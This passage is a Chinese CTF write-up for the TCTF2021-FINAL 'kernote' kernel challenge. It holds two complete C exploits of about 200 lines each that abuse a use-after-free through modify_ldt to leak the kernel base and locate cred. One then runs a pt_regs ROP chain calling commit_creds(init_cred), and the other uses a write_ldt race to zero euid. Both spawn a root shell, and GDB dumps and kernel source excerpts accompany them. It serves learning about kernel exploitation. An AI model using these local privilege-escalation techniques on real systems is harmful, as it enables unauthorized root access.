  • 由于开了 KPTI,则需要在 ROP 末尾放上 swapgs_restore_regs_and_return_to_usermode + offset 用于在回到用户态前修改 CR4 寄存器
  • PS:这个 offset 在不同的内核版本中有所不同,可以通过调试来确定其值

测试代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__asm__(
"mov r15, 0x55555555;"
"mov r14, 0x44444444;"
"mov r13, 0x33333333;" // start
"mov r12, 0x22222222;"
"mov rbp, 0x11111111;"
"mov rbx, 0xbbbbbbbb;"
"mov r11, 0x11111111;"
"mov r10, 0x00000000;"
"mov r9, 0x88888888;"
"mov r8, 0x99999999;"
"xor rax, rax;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;"
"syscall"
);

GDB 打印内存如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> telescope 0xffffa950001b3f68
00:0000│ rsp 0xffffa950001b3f68 ◂— xor esi, dword ptr [rbx] /* 0x33333333; '3333' */
01:00080xffffa950001b3f70 ◂— and ah, byte ptr [rdx] /* 0x22222222; '""""' */
02:00100xffffa950001b3f78 ◂— stosb byte ptr [rdi], al /* 0xaaaaaaaa */
03:00180xffffa950001b3f80 ◂— mov ebx, 0xbbbbbb /* 0xbbbbbbbb */
04:00200xffffa950001b3f88 ◂— 0x246
05:00280xffffa950001b3f90 ◂— 0
06:00300xffffa950001b3f98 ◂— mov byte ptr [rax + 0x8888], cl /* 0x88888888 */
07:00380xffffa950001b3fa0 ◂— cdq /* 0x99999999 */
08:00400xffffa950001b3fa8 ◂— 0xffffffffffffffda
09:00480xffffa950001b3fb0 —▸ 0x40217a ◂— call 0x401c61
0a:00500xffffa950001b3fb8 ◂— 8
0b:00580xffffa950001b3fc0 —▸ 0x7ffe497db4c0 ◂— pop rax /* 0xa4497db658 */
0c:00600xffffa950001b3fc8 ◂— 0x6
0d:00680xffffa950001b3fd0 ◂— 0
0e:00700xffffa950001b3fd8 —▸ 0x40217a ◂— call 0x401c61
0f:00780xffffa950001b3fe0 ◂— 0x33 /* '3' */
10:00800xffffa950001b3fe8 ◂— 0x246
11:00880xffffa950001b3ff0 —▸ 0x7ffe497db4c0 ◂— pop rax /* 0xa4497db658 */
12:00900xffffa950001b3ff8 ◂— 0x2b /* '+' */
  • 在合适和位置放置合适的 gadget 就好了

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <asm/ldt.h>
#include <stdio.h>
#include <signal.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <ctype.h>

#define FREE_NOTE 0x6668
#define PUT_NOTE 0x6666
#define CREATE_NOTE 0x6667
#define EDIT_NOTE 0x6669

size_t user_cs, user_ss, user_rflags, user_sp;
int fd;
int seq_fd;

int init_fd(char* str){
fd = open(str,O_RDWR);
if(fd < 0){
puts("open wrong");
}
}

void die(const char* msg)
{
perror(msg);
_exit(-1);
}

void save_reg()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("save");
}

void get_root(void)
{
if(getuid())
{
puts("root wrong");
exit(-1);
}

puts("get root");
system("/bin/sh");
}

void notePut(int index)
{
ioctl(fd, PUT_NOTE, index);
}

void noteCreate(int index)
{
ioctl(fd, CREATE_NOTE, index);
}

void noteFree(int index)
{
ioctl(fd, FREE_NOTE, index);
}

void noteEdit(size_t data)
{
ioctl(fd, EDIT_NOTE, data);
}

size_t magic = 0xffffffff817c21a6; /* add rsp, 0x198; pop r12; pop rbp; ret; */
size_t pop_rdi_ret = 0xffffffff81075c4c;
size_t commit_creds = 0xffffffff810c9dd0;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00fb0 + 10;
size_t init_cred = 0xffffffff8266b780;

int main()
{
struct user_desc desc;
size_t page_offset_base = 0xffff888000000000;
size_t kernel_base = 0xffffffff81000000;
size_t search_addr = 0x0;
size_t kernel_offset = 0x0;
size_t *buf;
int pipe_fd[2] = {0};
int retval;

save_reg();
init_fd("/dev/kernote");

desc.base_addr = 0xff0000;
desc.entry_number = 0x8000 / 8;
desc.limit = 0;
desc.seg_32bit = 0;
desc.contents = 0;
desc.limit_in_pages = 0;
desc.lm = 0;
desc.read_exec_only = 0;
desc.seg_not_present = 0;
desc.useable = 0;

noteCreate(0);
notePut(0);
noteFree(0);
syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));

while(1)
{
noteEdit(page_offset_base);
retval = syscall(SYS_modify_ldt, 0, &desc, 8);
if (retval >= 0)
break;
page_offset_base += 0x4000000;
}
printf("page_offset_base: 0x%lx\n", page_offset_base);

pipe(pipe_fd);
buf = (size_t*) mmap(NULL, 0x8000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
search_addr = page_offset_base;
kernel_base = 0;
while(1)
{
noteEdit(search_addr);
retval = fork();
if (!retval)
{
syscall(SYS_modify_ldt, 0, buf, 0x8000);

for (int i = 0; i < 0x1000; i++)
{
if (buf[i] > 0xffffffff81000000 && (buf[i] & 0xfff) == 0x040)
{
kernel_base = buf[i] - 0x040;
kernel_offset = kernel_base - 0xffffffff81000000;
printf("found kernel base: 0x%lx\n", kernel_base);
printf("kernel offset: 0x%lx\n", kernel_offset);
}
}

write(pipe_fd[1], &kernel_base, 8);
exit(0);
}
wait(NULL);
read(pipe_fd[0], &kernel_base, 8);
if (kernel_base)
break;
search_addr += 0x8000;
}

kernel_offset = kernel_base - 0xffffffff81000000;

magic += kernel_offset;
pop_rdi_ret += kernel_offset;
commit_creds += kernel_offset;
swapgs_restore_regs_and_return_to_usermode += kernel_offset;
init_cred += kernel_offset;

noteCreate(1);
notePut(1);
noteFree(1);

seq_fd = open("/proc/self/stat", O_RDONLY);
noteEdit(magic);
printf("magic gadget: 0x%lx\n", magic);
sleep(2);

__asm__(
"mov r15, 0x55555555;"
"mov r14, 0x44444444;"
"mov r13, pop_rdi_ret;"
"mov r12, init_cred;"
"mov rbp, commit_creds;"
"mov rbx, swapgs_restore_regs_and_return_to_usermode;"
"mov r11, 0x11111111;"
"mov r10, 0x00000000;"
"mov r9, 0x88888888;"
"mov r8, 0x99999999;"
"xor rax, rax;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;"
"syscall"
);

get_root();

return 0;
}

ldt_struct + modify_ldt + 条件竞争

利用条件竞争可以在 write_ldt 中实现任意写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode)
{

......

old_ldt = mm->context.ldt;
old_nr_entries = old_ldt ? old_ldt->nr_entries : 0;
new_nr_entries = max(ldt_info.entry_number + 1, old_nr_entries);

error = -ENOMEM;
new_ldt = alloc_ldt_struct(new_nr_entries);
if (!new_ldt)
goto out_unlock;

if (old_ldt)
memcpy(new_ldt->entries, old_ldt->entries, old_nr_entries * LDT_ENTRY_SIZE);

new_ldt->entries[ldt_info.entry_number] = ldt;

......

}
  • 基础的逻辑为:
    • 新申请一个 ldt_struct
    • 执行 memcpy 把旧的 ldt_struct 数据拷贝到新的 ldt_struct
  • 注意最后一句 new_ldt->entries[ldt_info.entry_number] = ldt
    • ldt 是我们写入的数据
  • 通过条件竞争的方式在 memcpy 过程中将 new_ldt->entries 更改为我们的目标地址从而完成任意地址写,即 Double Fetch

使用条件竞争通常都是修改 task_struct 结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
struct task_struct {

......

const struct cred __rcu *ptracer_cred;
const struct cred __rcu *real_cred;
const struct cred __rcu *cred;

#ifdef CONFIG_KEYS
struct key *cached_requested_key;
#endif
char comm[TASK_COMM_LEN];

struct nameidata *nameidata;

......
};

我们可以用和爆破内核基地址类似的方式来爆破 task_struct

  • 字段 comm[TASK_COMM_LEN] 存放着该进程的名字
  • 使用 prctl(PR_SET_NAME, "name") 可以修改 comm[TASK_COMM_LEN] 字段
  • 使用 memmem 可以在一块内存中寻找匹配另一块内存的内容的第一个位置

参考爆破脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
while(1)
{
noteEdit(page_offset_base);
retval = syscall(SYS_modify_ldt, 0, &desc, 8);
if (retval >= 0)
break;
page_offset_base += 0x4000000;
}
printf("page_offset_base: 0x%lx\n", page_offset_base);

cur_pid = getpid();
prctl(PR_SET_NAME, "aaaaaaaa");
pipe(pipe_fd);
buf = (size_t*) mmap(NULL, 0x8000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
search_addr = page_offset_base;
cred_addr = 0;

while(1)
{
noteEdit(search_addr);
retval = fork();
if (!retval)
{
syscall(SYS_modify_ldt, 0, buf, 0x8000);
result_addr = (size_t*) memmem(buf, 0x8000, "aaaaaaaa", 8);
if (result_addr \
&& (result_addr[-2] > page_offset_base) \
&& (result_addr[-3] > page_offset_base) \
&& (((int) result_addr[-58]) == cur_pid))
{
cred_addr = result_addr[-2];
printf("found cred_addr: 0x%lx\n", cred_addr);
}
write(pipe_fd[1], &cred_addr, 8);
exit(0);
}
wait(NULL);
read(pipe_fd[0], &cred_addr, 8);
if (cred_addr)
break;
search_addr += 0x8000;
}

在我们获得了 cred 的地址之后,我们只需要将 cred->euid 更改为 0 就能拥有 root 权限,之后再调用 setreuid 等一系列函数完成全面的提权,详细步骤如下:

  • 开启一个子进程(为了不触发 hardened usercopy
  • 在子进程中再开启一个子进程,申请多个 note 并释放(为了后续的 ldt_struct 可以命中 UAF 堆块)
  • 并不断往全局变量 note 写入 cred_addr+4(为了修改 new_ldt->entriescred_addr+4
  • 在父进程中调用 write_ldt

在满足如下两个条件时,就可以成功提权:

  • alloc_ldt_struct 执行之后,生成的 ldt_struct 成功命中 UAF 堆块
  • new_ldt->entries[ldt_info.entry_number] = ldt 执行之前,成功写入 cred_addr+4

最后条件竞争的过程有点抽象,我尝试了 30~40 遍才成功一次

  • 为了提高利用的成功率,可以使用 sched_setaffinity 将相应的进程绑定到单个 CPU 上(在 run.sh 中定义了两个核)

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <asm/ldt.h>
#include <stdio.h>
#include <signal.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <ctype.h>

#define FREE_NOTE 0x6668
#define PUT_NOTE 0x6666
#define CREATE_NOTE 0x6667
#define EDIT_NOTE 0x6669

size_t user_cs, user_ss, user_rflags, user_sp;
int fd;
int seq_fd;

int init_fd(char* str){
fd = open(str,O_RDWR);
if(fd < 0){
puts("open wrong");
}
}

void die(const char* msg)
{
perror(msg);
_exit(-1);
}

void save_reg()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("save");
}

void get_root(void)
{
if(getuid())
{
puts("root wrong");
exit(-1);
}
puts("get root");
setreuid(0,0);
setregid(0,0);
system("/bin/sh");
}

void notePut(int index)
{
ioctl(fd, PUT_NOTE, index);
}

void noteCreate(int index)
{
ioctl(fd, CREATE_NOTE, index);
}

void noteFree(int index)
{
ioctl(fd, FREE_NOTE, index);
}

void noteEdit(size_t data)
{
ioctl(fd, EDIT_NOTE, data);
}

int main()
{
struct user_desc desc;
size_t page_offset_base = 0xffff888000000000;
size_t cred_addr = 0x0;
size_t search_addr = 0x0;
size_t *buf;
size_t *result_addr;
int pipe_fd[2] = {0};
int retval;
int cur_pid;
cpu_set_t cpu_set;

save_reg();
init_fd("/dev/kernote");

desc.base_addr = 0xff0000;
desc.entry_number = 0x8000 / 8;
desc.limit = 0;
desc.seg_32bit = 0;
desc.contents = 0;
desc.limit_in_pages = 0;
desc.lm = 0;
desc.read_exec_only = 0;
desc.seg_not_present = 0;
desc.useable = 0;

noteCreate(0);
notePut(0);
noteFree(0);
syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));

while(1)
{
noteEdit(page_offset_base);
retval = syscall(SYS_modify_ldt, 0, &desc, 8);
if (retval >= 0)
break;
page_offset_base += 0x4000000;
}
printf("page_offset_base: 0x%lx\n", page_offset_base);

cur_pid = getpid();
prctl(PR_SET_NAME, "aaaaaaaa");
pipe(pipe_fd);
buf = (size_t*) mmap(NULL, 0x8000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
search_addr = page_offset_base;
cred_addr = 0;

while(1)
{
noteEdit(search_addr);
retval = fork();
if (!retval)
{
syscall(SYS_modify_ldt, 0, buf, 0x8000);
result_addr = (size_t*) memmem(buf, 0x8000, "aaaaaaaa", 8);
if (result_addr \
&& (result_addr[-2] > page_offset_base) \
&& (result_addr[-3] > page_offset_base) \
&& (((int) result_addr[-58]) == cur_pid))
{
cred_addr = result_addr[-2];
printf("found cred_addr: 0x%lx\n", cred_addr);
}
write(pipe_fd[1], &cred_addr, 8);
exit(0);
}
wait(NULL);
read(pipe_fd[0], &cred_addr, 8);
if (cred_addr)
break;
search_addr += 0x8000;
}

retval = fork();
if (!retval) // child
{
retval = fork();
if (!retval) // child's child
{
CPU_ZERO(&cpu_set);
CPU_SET(0, &cpu_set);
sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
sleep(1);
for (int i = 1; i < 15; i++)
noteCreate(i);
notePut(11);
for (int i = 1; i < 15; i++)
noteFree(i);
CPU_ZERO(&cpu_set);
CPU_SET(1, &cpu_set);
sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
while (1)
noteEdit(cred_addr + 4);
}
CPU_ZERO(&cpu_set);
CPU_SET(0, &cpu_set);
sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
desc.base_addr = 0;
desc.entry_number = 2;
desc.limit = 0;
desc.seg_32bit = 0;
desc.contents = 0;
desc.limit_in_pages = 0;
desc.lm = 0;
desc.read_exec_only = 0;
desc.seg_not_present = 0;
desc.useable = 0;
sleep(3);
syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));
sleep(10000);
}
sleep(15);

get_root();

return 0;
}

小结:

感谢 arttnba3 大佬的博客:TCTF2021-FINAL 两道 kernel pwn 题解 - arttnba3’s blog

学习到了 ldt_struct + modify_ldt 通过条件竞争进行的 WAA(虽然成功率有点低)

通过调试已经基本掌握了 seq_operations + pt_regs 这种利用手法